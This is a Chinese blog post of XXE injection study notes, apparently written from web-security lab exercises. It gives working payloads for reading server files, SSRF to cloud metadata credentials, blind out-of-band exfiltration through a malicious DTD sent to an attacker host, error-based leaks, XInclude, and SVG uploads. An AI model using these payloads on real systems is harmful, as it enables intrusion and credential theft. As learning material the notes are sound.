首页 > 其他分享 >XXE注入

XXE注入

时间:2022-12-17 16:11:47浏览次数:41  
标签:文件 XXE 外部 实体 dtd xxe 注入

XXE注入

现在可能比较少了,现在json比较流行

XML知识:
元素,文本,属性

DTD知识:

元素,属性,实体(内部和外部),命名空间

常见外部实体攻击

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
post中的数据,正常的传输数据
但是如果自己声明外部实体,引用服务器文件,即可任意文件访问
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE s [<!ENTITY hack SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&hack;</productId>
<storeId>1</storeId>
</stockCheck>

已用XXE执行SSRF

和任意文件访问一样的payload  SSRF是利用服务器发起的HTTP请求
而任意文件访问没有
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE s [<!ENTITY hack SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<stockCheck>
<productId>&hack;</productId>
<storeId>1</storeId>
</stockCheck>

盲XXE 经典XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://9pzhq9d13rg4b4k29icckp3at1zrng.burpcollaborator.net">]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

参数外部实体(过滤 &)但是这种好像需要在特殊的环境下才行(感觉是配置问题)我用这种参数实体,在外部实体就可以的环境下试验了一下 出现 "Entities are not allowed for security reasons"

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://ydfen537qzvdz6lwi5v410tff6lw9l.burpcollaborator.net">%xxe;]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>

盲XXE外带数据

恶意 .dtd 文件将读取的文件以传参的方式传到攻击者的服务器
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
payload:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>
参数实体嵌套定义需要注意的是,内层的定义的参数实体% 需要进行HTML转义,否则会出现解析错误。

第二层嵌套时我们只需要给定义参数实体的%编码,第三层就需要在第二层的基础上将所有%、&、’、” html编码。

盲XXE之错误消息泄露数据

恶意 .dtd 文件
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

payload:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://exploit-0af800cc04ebc621c2be42f401ef00fe.exploit-server.net/exploit.dtd"> %xxe;]>

盲XXE之本地文件利用(如果目标不出网,或者有某限制不能使用外部dtd实体,这时可以尝试使用本地的dtd实体,就是把dtd的语句写在靶机里。)(比较难,因为需要去分析环境的系统环境,本地含有的dtd文件及变量)

实体三级嵌套
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"> //要被重写的.dtd文件
<!ENTITY % custom_entity '      //要被重写的实体
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

XXE注入之 include(命名空间的利用)

原本post 数据

productId=1&storeId=1

看不出来是XXE,这类似SQL注入将恶意的XML语句拼接到里边

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

XXE注入之图像文件上传

SVG木马
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>
svg木马
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text>
</svg>

标签:文件,XXE,外部,实体,dtd,xxe,注入
From: https://www.cnblogs.com/yhchen-blogs/p/16989088.html

相关文章

  • WebApi Autofac依赖注入配置
    publicclassAutofacConfig{///<summary>///IOC注册///</summary>publicstaticvoidRegister(){......
  • SQL注入小结
    一:判断SQL注入点先判断这个网站是否存在SQL注入点如果存在,判断属于哪种SQL注入类型,我们才能构造原始的SQL语句可以输入'这个单引号,如果报错为youhaveanerrorinyou......
  • SPEL注入流程分析及CTF中如何使用
    配置https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce,导入maven依赖为了后期debug调试简便些,可以修改一下控制器修改后运......
  • spring启动时排除注入指定bean
    起因:项目中引用了其他项目的公共包依赖,公共包中有第三方的配置信息(不合理,不规范),导致必须在配置文件中加入这样配置(写了一堆无用的配置信息还容易报错),启动时注入......
  • Vue3.0文档学习心得--依赖注入
    1.provide():在祖先组件或整个应用(通过 app.provide()) 提供一个值,可以被后代组件注入。(1)第一个参数是要注入的key,可以是一个字符串或者一个symbol,第二个参数是要......
  • 【Unity】 HTFramework框架(四十二)【进阶篇】使用依赖注入(控制反转模式)
    更新日期:2022年1月4日。Github源码:​​​[点我获取源码]​​​Gitee源码:​​[点我获取源码]​​索引​​依赖注入​​​​使用​​​​InjectPath​​​​InjectUI​​​......
  • 使用v-html指令的禁忌和解决xss注入攻击
    1.由于v-html会执行所有的html代码,因此会执行所有可能带危险的html代码  2.在使用v-html时为了防止XSS攻击,可以安装npminstallxss插件,但是我们在渲染富文本编辑的......
  • Google开源依赖注入框架-Guice指南
    作者:软件质量保障之前发过一篇文章《​​浅谈依赖注入的实现​​》,介绍了依赖注入的实现原理。文中提到高效实现依赖注入的工具Guice,本文就介绍一下这款Google开源的依赖注......
  • mybatisplus 注入和更新问题
    1、在接口中如果没有存在事务进行插入和更新操作,会存在一个问题,就是可能导致结果异步,出现脏读的问题;比如,针对A表进行插入和更新操作,然后下一步是进行查询操作,当数据量比较......
  • sql注入fuzz字典
    lengthLength+handlerlikeLiKeselectSeleCTsleepSLEEpdatabaseDATABASedeletehavingoroRasAs-~BENCHMARKlimitLimItleftLeftselectSELECTinsertinsERTINSERTright#--+INF......